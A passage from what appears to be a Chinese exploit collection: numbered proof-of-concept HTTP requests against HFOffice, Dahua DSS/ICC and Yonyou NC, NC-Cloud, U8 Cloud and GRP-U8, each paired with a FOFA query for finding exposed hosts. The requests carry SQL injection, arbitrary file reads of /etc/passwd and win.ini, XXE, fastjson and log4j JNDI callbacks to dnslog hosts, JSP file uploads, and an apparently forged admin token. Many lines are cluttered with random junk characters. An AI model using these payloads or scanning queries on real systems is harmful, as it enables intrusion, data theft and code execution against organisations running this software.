Accept-Encoding: gzip
; m' y1 k: J9 v9 n, y4 C/ n

16.  红帆HFOffice医微云SQL注入
; q4 N, c# S+ {FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
; N% k6 }% s' r  @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
  c- |  M% x' f1 J/ pConnection: close
/ X. V1 W8 S6 f- HAccept: */*
! j: o8 A; V0 I0 ^6 c2 K& {! iAccept-Language: en
Accept-Encoding: gzip
7 g9 v( e- p! K6 z$ D' W3 T

0 k3 X% t- ?* t* L0 }; \  h# q17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
: c! ~& L) L; i, aPOST /portal/services/itcBulletin?wsdl HTTP/1.1
9 x' I3 s2 c* }1 cHost: x.x.x.x
+ o9 Q4 X1 n7 |' G4 Y0 AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  \* \$ n0 Z# ^+ A3 @! HConnection: close
Content-Length: 345
0 K' H: q( K  |8 v& ?Accept-Encoding: gzip
4 [( p: f6 \* Z' N, U( m( d
' ]# S- R9 t6 b* n- w* m<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
* y: r" I0 Z& l/ {<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
7 _  W& @; V9 Y! k( G      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
+ R6 e- r- t. x
5 A5 b9 L' s4 o: |1 u  Y7 H8 S
! t; M( l, m( l# v18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
2 p0 ]! p) ]# x& F" ^( u3 ^FOFA：app="dahua-DSS"
* [' L' Q5 @5 E) _GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
4 _( m7 M2 H4 VHost: your-ip
, K* ~( v1 Q7 x& z+ bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
- t4 b- d5 h0 z7 t! i5 K: tAccept: */*
# y# d3 a7 {$ N8 \6 \Connection: keep-alive
9 m* L6 G0 N9 ^$ D( J1 j
, F6 ~! V7 A1 a; ]8 X( B- K( }
0 m* r5 \; D2 E0 r% }; P* U0 G1 x
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
7 V/ _6 t8 s$ n8 m6 `7 `FOFA：app="dahua-DSS"
- d0 j8 _* H8 t3 I8 W. Y% UGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
8 N$ X+ A/ L4 T4 ?1 b9 J5 U" u7 KHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
, U: Y3 S; b! o% `, [1 hGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
& _/ o2 E0 ^$ o, f* _- t% eAccept: */*
  F$ @/ o* }0 u, j+ @  rAccept-Language: en
Accept-Encoding: gzip
' I6 a& G+ j& B! n' Y$ o
# L/ e/ Z, Z" o
& X* {: P# `" T  A/ F21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
4 s2 q5 p3 B* d) k  \8 z1 ]POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
6 v7 _( k& X" s* N) l) `6 P) _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
# i% w6 Z% w+ |% z7 NAccept-Encoding: gzip
/ R! V- }4 P$ tConnection: close
! G( C! Z5 j: ^! bContent-Type: application/json;charset=utf-8
8 k$ Q* ?( W" H6 v" }4 z' V
{
8 A( J2 `  O$ ^* l( P: r5 |"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
) |- x& u7 ?' g/ D* ?  }""
. S  |3 {3 @) _( v' L}

+ k" C9 I0 c* y2 X) D
) }6 |0 g0 A2 p0 K& T/ v1 S$ m22. 大华ICC智能物联综合管理平台 log4j远程代码执行
/ N7 b4 g& G( H( W$ b; K8 N$ ~FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
. w4 V9 d0 P% h2 L' x4 S) dHost: your-ip
  O3 f: h- T; b2 H6 Z4 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
6 A0 T0 m& L  ]6 `; _( SContent-Type: application/json;charset=utf-8
/ J+ N; E- i& ?4 }4 Y/ @0 K9 b
( D: A. v& p$ s3 b6 N5 P. ~/ S{
2 Q! d; [$ \- `% B"loginName":"${jndi:ldap://dnslog}"
6 Z' q) }# ?2 s9 p$ u( ~2 u}
( V; z3 q9 z6 a9 `$ g6 p( r
9 K! n* F+ w7 q8 p2 J" V
% [- O# q6 E9 r- A4 b* d2 o
" i" Q  U' Q/ I% j" v23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
" Z7 e  @) t" t5 E& H, |FOFA：icon_hash="-1935899595"
- G9 d  l# m( O: Y0 vPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 {2 B6 r& I/ I4 K6 ~- D6 c; ZContent-Type: application/json;charset=utf-8
. M3 G' d. F% W/ ?2 y, q2 w# {Accept-Encoding: gzip
Connection: close
# o! b% X( A' {9 r$ Y. V* A) w
{
    "a":{
5 U' e& d& ]* _        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
# M7 t8 Y3 k: `" K        }""
}


  G5 G1 t" B! f24. 用友NC 6.5 accept.jsp任意文件上传
5 E% c. s, o0 |5 |: pFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
- }% O, T' X3 g* z6 z, k  {Connection: close
# U+ r% M2 A4 e1 W8 QContent-Length: 449
Accept: */*
$ a: ~. G' c: s2 P) WAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
0 P1 M/ L' h3 B3 l6 l" Y3 [
/ I) g% J% `* I, `# K9 i# O% V8 @-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
: c6 l+ g8 P9 B. E2 J- A
3 E2 i% t/ a& X$ H  z<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
0 {4 h' v5 [! p; [  `-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
. c) A; K: r$ K+ }% v+ S) \Content-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

- O- B) A' |- O" r
25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
3 ?. L5 e# Q) Z; DAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
9 j4 H6 O: j/ u7 p( eContent-Type: application/x-www-form-urlencoded
9 P/ {  a/ ~1 u4 \; _4 F& @5 c
type=1&dsname=ldap://dnslog

  X9 s8 D1 a, x& W% q# z# ]2 v% i, [- S

26. 用友NC linkVoucher SQL注入
$ d5 ?( D  i" s; y, aFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
' H3 T& V$ L; k" t+ q8 P  M. [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% K/ x3 N" `& v/ T" s; G) CContent-Type: application/x-www-form-urlencoded
5 a; M' u6 F' P4 p* @4 _5 M  E, Y; o" TAccept-Encoding: gzip, deflate
  ]  q7 A" W6 W6 _( j! s" S, qAccept: */*
Connection: keep-alive

) V$ z" D# r8 z; t3 q+ @6 ]3 x
27. 用友 NC showcontent SQL注入
9 N/ u  X0 L- z7 [! v3 m. b2 TFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
0 S- w: N5 m# q. Y6 G1 Y" r$ iHost: your-ip
0 k6 V) x: @2 [' PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
9 P! N* Z1 y, G" p0 N2 hConnection: close
Content-Type: text/xml; charset=utf-8


' n! b, j& u0 S28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
/ G; f$ n$ t# H1 V/ I4 \- _Host: x.x.x.x
" K6 X. l! }0 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
+ z. a+ K4 O7 K9 N8 _6 SContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
& J) T1 e' ~( b2 R# MAccept-Encoding: gzip
, d+ H/ o2 g/ l
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
# ~8 [6 x1 e; r( G% nContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
; ^5 |5 q+ `& E/ EContent-Type: application/octet-stream
# |* @; [# C8 o  x
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


' \: g. T8 H% E" X% h, T, E/uapim/static/pages/nc/head.jsp
/ r( b) ]6 B: S; q% f" k0 _, K& p( \4 {
1 x. z+ W9 R9 }( Y9 R8 H29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
2 c" P' H2 Y* J* }" W* TGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
7 C; F. f; M* T7 L" @$ \" E( D4 ^Host: your-ip
# \" H2 V% N/ VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
) Z; S( \4 t; `( R) C1 j1 TConnection: keep-alive

0 |3 M9 z& c, U- ?+ m# {0 ?
+ ~1 O/ P0 P9 ^2 T4 Q! Q; l3 g30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
1 g0 m) _' k" @. SHost: your-ip
( Z( e- x/ f- x9 H& B+ ?  WContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

! `% f& O3 L6 h  I1 }& X7 O------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
/ f# I+ ~, B  L5 w0 P$ t" j: R------WebKitFormBoundaryH970hbttBhoCyj9V--


31. 用友NC runStateServlet SQL注入
version<=6.5
; f5 B0 k4 B8 TFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
. |: W6 o& M) _# X( c( GHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded


+ @9 [% I1 R& \# o; F32. 用友NC complainbilldetail SQL注入
" F8 Q4 D9 K3 y! `, |% }2 }- sversion= NC633、NC65
. V5 \! K& w' ~: r( [2 s6 rFOFA：app="用友-UFIDA-NC"
. ]" E. N3 O  [. [5 ^3 x, o7 A& kGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
$ K: q9 e6 U( ^# E* _% o; t. hHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
) y" q( v9 {! PConnection: keep-alive


33. 用友NC downTax/download SQL注入
0 T. {+ X' v! }/ }0 r1 @version：NC6.5FOFA：app="用友-UFIDA-NC"
$ `: Z4 w: D7 C; F+ _GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  H1 b8 g2 m( {8 `6 s+ _) MContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
5 z6 B" j3 J' P4 X) @! |  H1 W+ q9 IConnection: keep-alive

5 U  x5 J' M) B! i. N6 c! |
: m  z- N) l% U% g0 Q- H34. 用友NC warningDetailInfo接口SQL注入
: k. h% p3 g6 u! z& GFOFA：app="用友-UFIDA-NC"
' T' j1 a# M8 Z. Z" H  gGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
* \& e' v8 j$ f* s- @( _( zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& v& S% n" F& P( W: l7 W& XContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
  d" G( R6 v0 B6 G4 U0 h
# ^, Z1 ?( w, A( d
35. 用友NC-Cloud importhttpscer任意文件上传
- O3 W) ?, H1 L( x' JFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
/ K. V- j$ M0 wUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
5 L# t: K- m1 S" x" s* c- N* zAccept: */*
4 X: S& c8 @* i0 m5 E, |0 n; cConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
8 r7 X  v) U# W" w; V8 W" y' jContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
' w* \; d( S0 P( D
9 v% s# `- v' G% e) x" F--fd28cb44e829ed1c197ec3bc71748df0
: \; n- {: ]2 ~! iContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--
& o$ k8 ]# }/ n
: X$ N- `! F) N( T1 g7 [% q
36. 用友NC-Cloud soapFormat XXE
# g2 b( t# d* R+ XFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
9 |, S+ A8 y% WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
  s1 h  {% L9 v# s  L6 K: e  aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
1 |2 O# K0 p! C5 P( n+ z; _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
  b  k- E7 L  N# S5 _! sContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

, I( t4 w, N9 A6 j; Gmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
  q5 s& [# N5 l' o5 [+ E
( G1 i  p& M6 ?; N* |6 P0 S+ c
37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
! g, N0 Y4 L- p) V7 dHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
" @+ y$ ?2 _$ U' [$ |' x1 C: tContent-Length: 421
6 P6 G* J( b" \$ \- R. M0 f) m0 QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7 s3 D9 E3 W: q/ TAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  e% L9 J3 M  J  H* {/ BConnection: close
5 U: {6 r9 S, g+ @1 _Content-Type: text/xml;charset=UTF-8
9 }5 ^& O4 F/ U  k2 l: m: w+ [- @SOAPAction: urn:getResult
& }/ l* u+ |0 OUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
2 b4 j3 G0 V3 k# H7 U<soapenv:Header/>
<soapenv:Body>
( o  I, F3 @) [3 K<iup:getResult>
<!--type: string-->
5 S8 A1 F' B5 T) n3 J6 f9 x0 b+ Z' Y$ w8 N<iup:string><![CDATA[
5 z: f$ j3 u8 o& Q<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
- c' I0 ~( j  C4 v5 ]. {6 e8 J<xxx/>]]></iup:string>
% K4 K" g  P+ h: P% F' t8 k</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>

$ G" N3 [, x5 F2 ?  S; v* ~

38. 用友U8 Cloud smartweb2.RPC.d XXE
8 t4 w, ^3 T2 `. g# HFOFA：app="用友-U8-Cloud"
# o1 O; x  V' L5 z" f5 jPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
( T3 V( |: h  }2 N, Y/ WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
' c9 z4 d9 d# K* j: GAccept-Language: zh-CN,zh;q=0.9
, z1 u3 A% b. t2 d. l, W# W4 N' B. z2 qConnection: close
Content-Type: application/x-www-form-urlencoded
6 E1 M# O& P2 w# I
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

, h8 Z5 L" {" q
39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
7 u: w' E) q& x  X/ [! r. j0 ]POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
0 s4 D, Q3 e  `& l8 y$ NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
5 d" X: {  \, i/ M, P/ t+ h+ t4 `Connection: close
/ W" y5 N9 w9 h# GContent-Length: 85
Accept: */*
Accept-Language: en
. q2 [# V- \. }; LContent-Type: application/x-www-form-urlencoded
$ I( l9 i8 A% F# F0 a# oX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip

" v+ m1 y( y) a6 Ausercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


) y4 @: u: n4 f/ \40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
7 R% n& g# `7 C. b3 x2 OPOST /service/XChangeServlet HTTP/1.1
/ L/ Z" o: o: \+ X( N: x% GHost: x.x.x.x
% J* F7 S9 R7 ]9 z+ ?User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
( O/ c, R" |$ ?1 D& Q9 R. X! K, xConnection: close
! z, A' ^1 K" L% b; v
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
' O; k) l0 d; X! jFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
- Q% Y7 s  @6 J( e7 Y0 m/ EHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
! F9 W# Z# v/ v+ ^) ?Connection: close


42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
: F7 p* j7 o9 b) a9 t& Q5 f: BContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
" ~5 J: L* @% z! E: A; BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
/ F3 H. X- _  L1 P1 G/ P
PAYLOAD
. O7 K: C; }9 k- {2 r
$ G" W" K" Q0 L
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
# n) }5 n6 w& a6 O
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
* n$ ~7 m7 H1 b4 F; T% xHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
5 ^- W1 E4 X) a- |: VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
  Y( q% G# q/ B. p% }SOAPAction:
Content-Type: text/xml;charset=UTF-8
  L7 B$ {8 m5 o% w; H
: K" }! j+ y- _% k0 ]# y+ B<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
! w' {9 [6 w! Q4 t; ?   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
- I% T" l( ~/ m9 r' ?         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
# g& c: M5 ]) b  g6 v9 q   </soapenv:Body>
</soapenv:Envelope>
1 u. M+ K$ I. ]: D8 g3 V( }9 i

44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
! V3 W! ~8 D- r/ @GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
/ M+ N; E' N( z' l7 r9 W% BHost: your-ip
" m. ~3 t+ Q+ t. V" Q: V3 b; E7 OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 Y9 y7 m* {3 A- RAccept-Language: zh-CN,zh;q=0.9
Connection: close

% _3 G7 q" P2 t& i6 J3 @
5 V8 x2 T. u) S! J5 q% C0 |7 t45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
5 W8 e% Q# m# Q; W) D& X- GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
( o  }$ V# r5 w( R( }; m; pContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 d! U: e8 Z& U9 h! o# d: zContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

reqData=<?xml version="1.0"?>
) I( [3 j. v  {7 O7 s<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
9 W! H- ^9 Q9 t# X+ p+ V' }8 ]
/ t- P) R; ^4 m7 X  [# R& i  h
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
  R5 b3 [; Q. ~" _; r- Q" mHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
" ]$ |' v* x$ F! b. GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: q  x$ B- P' i( U3 y. _. RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, t. z( y" h0 \9 g$ Y" s6 bConnection: close

9 Q% B2 p6 o- i+ H5 p: D
47. 用友GRP A++Cloud 政府财务云 任意文件读取
